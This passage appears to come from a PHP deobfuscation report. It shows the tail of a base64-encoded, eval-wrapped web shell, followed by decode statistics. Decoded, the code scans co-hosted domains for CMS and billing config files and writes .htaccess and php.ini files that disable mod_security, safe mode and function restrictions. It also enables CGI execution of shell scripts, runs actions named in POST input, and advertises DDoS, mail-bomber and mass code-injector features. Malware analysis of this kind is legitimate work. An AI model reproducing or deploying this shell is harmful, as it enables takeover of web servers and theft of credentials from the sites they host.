nMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIjxhIGhyZWY9JyIuJGMyLiInIHRhcmdldD0nX2JsYW5rJz5Xb3JkcHJlc3M8L2E+IjsgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjAzLCcyMDAnKSA9PSB0cnVlICYmIHN0cnBvcygkY2YxMSwnMjAwJykgPT0gdHJ1ZSkgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGMxMS4iJyB0YXJnZXQ9J19ibGFuayc+V0hNQ1M8L2E+IjsgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMDksJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzkuIicgdGFyZ2V0PSdfYmxhbmsnPldITUNTPC9hPiI7ICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YxMCwnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjMTAuIicgdGFyZ2V0PSdfYmxhbmsnPldITUNTPC9hPiI7ICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjAzLCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGMzLiInIHRhcmdldD0nX2JsYW5rJz5Kb29tbGE8L2E+IjsgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMDQsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzQuIicgdGFyZ2V0PSdfYmxhbmsnPkpvb21sYTwvYT4iOyAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YwNSwnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjNS4iJyB0YXJnZXQ9J19ibGFuayc+dkJ1bGxldGluPC9hPiI7ICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjA2LCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM2LiInIHRhcmdldD0nX2JsYW5rJz52QnVsbGV0aW48L2E+IjsgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMDcsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzcuIicgdGFyZ2V0PSdfYmxhbmsnPnZCdWxsZXRpbjwvYT4iOyAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YwOCwnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjNy4iJyB0YXJnZXQ9J19ibGFuayc+Q2xpZW50IEFyZWE8L2E+IjsgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMTIsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzcuIicgdGFyZ2V0PSdfYmxhbmsnPkNsaWVudCBBcmVhPC9hPiI7ICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjEzLCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM3LiInIHRhcmdldD0nX2JsYW5rJz5vc0NvbW1lcmNlL1plbiBDYXJ0PC9hPiI7ICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjE0LCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM3LiInIHRhcmdldD0nX2JsYW5rJz5NYWdlbnRvPC9hPiI7ICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjE1LCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM3LiInIHRhcmdldD0nX2JsYW5rJz5EcnVwYWw8L2E+IjsgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRyJy4oJGw/JyBjbGFzcz1sMSc6JycpLic+PHRkPicuJGNvdW50KysuJzwvdGQ+PHRkPjxhIGhyZWY9aHR0cDovL3d3dy4nLiRkb21haW5bMV1bMF0uJy8+Jy4kZG9tYWluWzFdWzBdLic8L2E+PC90ZD48dGQ+Jy4kdXNlclsnbmFtZSddLic8L3RkPjx0ZD4nLiRvdXQuJzwvdGQ+PC90cj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgZmx1c2goKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRsPSRsPzA6MTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gIjwvdGFibGU+IjsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvICI8L2NlbnRlcj4iOyAgIA0KICAgIH0NCiAgICBlY2hvICI8L2Rpdj4iOw0KICAgIHByaW50Rm9vdGVyKCk7DQp9IA0KDQpmdW5jdGlvbiBhY3Rpb25CeXBhc3MoKSB7DQogICAgcHJpbnRIZWFkZXIoKTsNCiAgICBlY2hvICc8aDE+U2FmZSBNb2RlPC9oMT4nOw0KICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbnRlbnQiPic7DQogICAgZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48aDM+PHNwYW4+fCBTQUZFIE1PREUgQU5EIE1PRCBTRUNVUklUWSBESVNBQkxFRCBBTkQgUEVSTCA1MDAgSU5URVJOQUwgRVJST1IgQllQQVNTIHw8L3NwYW4+PC9oMz5Gb2xsb3dpbmcgcGhwLmluaSBhbmQgLmh0YWNjZXNzKG1vZCkgYW5kIHBlcmwoLmh0YWNjZXNzKVtjb252ZXJ0IHBlcmwgZXh0ZW50aW9uICoucGwgPT4gKi5zaCAgXSBmaWxlcyBjcmVhdGUgaW4gZm9sbG93aW5nIGRpcjxicj58ICIuJEdMT0JBTFNbJ2N3ZCddLiIgfDxicj48YnIgLz4iOw0KICAgIGVjaG8gJzxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJ3BocC5pbmlcJyxudWxsKSI+fCBQSFAuSU5JIHwgPC9hPjxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxudWxsLFwnaW5pXCcpIj58IC5odGFjY2VzcyhNb2QpIHwgPC9hPjxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxudWxsLG51bGwsXCdzaFwnKSI+fCAuaHRhY2Nlc3MocGVybCkgfCA8L2E+PC9jZW50ZXI+JzsNCiAgICBpZighZW1wdHkoJF9QT1NUWydwMiddKSAmJiBpc3NldCgkX1BPU1RbJ3AyJ10pKQ0KICAgIHsNCiAgICAgICAgJGZpbD1mb3BlbigkR0xPQkFMU1snY3dkJ10uIi5odGFjY2VzcyIsInciKTsNCiAgICAgICAgZndyaXRlKCRmaWwsJzxJZk1vZHVsZSBtb2Rfc2VjdXJpdHkuYz4NCiAgICAgICAgICAgIFNlYy0tLS0tLUVuZ2luZSBPZmYNCiAgICAgICAgICAgIFNlYy0tLS0tLVNjYW5QT1NUIE9mZg0KICAgICAgICAgICAgPC9JZk1vZHVsZT4nKTsNCiAgICAgICAgZmNsb3NlKCRmaWwpOw0KICAgfQ0KICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkmJiBpc3NldCgkX1BPU1RbJ3AxJ10pKQ0KICAgew0KICAgICAgICAkZmlsPWZvcGVuKCRHTE9CQUxTWydjd2QnXS4icGhwLmluaSIsInciKTsNCiAgICAgICAgZndyaXRlKCRmaWwsJ3NhZmVfbW9kZT1PRkYNCiAgICAgICAgICAgIGRpc2FibGVfZnVuY3Rpb25zPU5PTkUnKTsNCiAgICAgICAgZmNsb3NlKCRmaWwpOw0KICAgIH0NCiAgICBpZighZW1wdHkoJF9QT1NUWydwMyddKSAmJiBpc3NldCgkX1BPU1RbJ3AzJ10pKQ0KICAgIHsNCiAgICAgICAgJGZpbD1mb3BlbigkR0xPQkFMU1snY3dkJ10uIi5odGFjY2VzcyIsInciKTsNCiAgICAgICAgZndyaXRlKCRmaWwsJ09wdGlvbnMgRm9sbG93U3ltTGlua3MgTXVsdGlWaWV3cyBJbmRleGVzIEV4ZWNDR0kNCiAgICAgICAgQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAuc2gNCiAgICAgICAgQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbA0KICAgICAgICBBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLnBsJyk7DQogICAgICAgIGZjbG9zZSgkZmlsKTsgDQogICAgfQ0KICAgIGVjaG8gIjxicj48YnIgLz48YnIgLz48L2Rpdj4iOw0KICAgIGVjaG8gJzwvZGl2Pic7DQogICAgcHJpbnRGb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uRGRvcygpew0KICAgIHByaW50SGVhZGVyKCk7DQogICAgZWNobyAnPGgxPkREb1M8L2gxPic7DQogICAgZWNobyAnPGRpdiBjbGFzcz0iY29udGVudCI+JzsNCiAgICBlY2hvICI8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxoMz48c3Bhbj5QcmVtaXVtIEZlYXR1cmVzISEhPC9zcGFuPjwvaDM+V2lsbCBjb21lIGluIG5leHQgdmVyc2lvbi48YnI+PGJyIC8+IjsNCiAgICBlY2hvICI8YnI+PGJyIC8+PGJyIC8+PC9kaXY+IjsNCiAgICBlY2hvICc8L2Rpdj4nOw0KICAgIHByaW50Rm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbk1haWwoKXsNCiAgICBwcmludEhlYWRlcigpOw0KICAgIGVjaG8gJzxoMT5NYXNzIE1haWxlciBhbmQgTWFpbCBCb21iZXI8L2gxPic7DQogICAgZWNobyAnPGRpdiBjbGFzcz0iY29udGVudCI+JzsNCiAgICBlY2hvICI8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxoMz48c3Bhbj5QcmVtaXVtIEZlYXR1cmVzISEhPC9zcGFuPjwvaDM+V2lsbCBjb21lIGluIG5leHQgdmVyc2lvbi48YnI+PGJyIC8+IjsNCiAgICBlY2hvICI8YnI+PGJyIC8+PGJyIC8+PC9kaXY+IjsNCiAgICBlY2hvICc8L2Rpdj4nOw0KICAgIHByaW50Rm9vdGVyKCk7ICAgIA0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25JbmplY3Rvcigpew0KICAgIHByaW50SGVhZGVyKCk7DQogICAgZWNobyAnPGgxPk1hc3MgQ29kZSBJbmplY3RvcjwvaDE+JzsNCiAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb250ZW50Ij4nOw0KICAgIGVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PGgzPjxzcGFuPlByZW1pdW0gRmVhdHVyZXMhISE8L3NwYW4+PC9oMz5XaWxsIGNvbWUgaW4gbmV4dCB2ZXJzaW9uLjxicj48YnIgLz4iOw0KICAgIGVjaG8gIjxicj48YnIgLz48YnIgLz48L2Rpdj4iOw0KICAgIGVjaG8gJzwvZGl2Pic7DQogICAgcHJpbnRGb290ZXIoKTsNCn0NCg0KaWYoIGVtcHR5KCRfUE9TVFsnYSddKSApDQogICAgaWYoaXNzZXQoJGRlZmF1bHRfYWN0aW9uKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkZGVmYXVsdF9hY3Rpb24pKQ0KICAgICAgICAkX1BPU1RbJ2EnXSA9ICRkZWZhdWx0X2FjdGlvbjsNCiAgICBlbHNlDQogICAgICAgICRfUE9TVFsnYSddID0gJ1NlY0luZm8nOw0KaWYoICFlbXB0eSgkX1BPU1RbJ2EnXSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pICkNCiAgICBjYWxsX3VzZXJfZnVuYygnYWN0aW9uJyAuICRfUE9TVFsnYSddKTsNCg0KPz4=")); ?>
Function Calls
| base64_decode | 1 |
Stats
| MD5 | 896496cbe9257ce30ea5035e99d7a3f6 |
| Eval Count | 1 |
| Decode Time | 197 ms |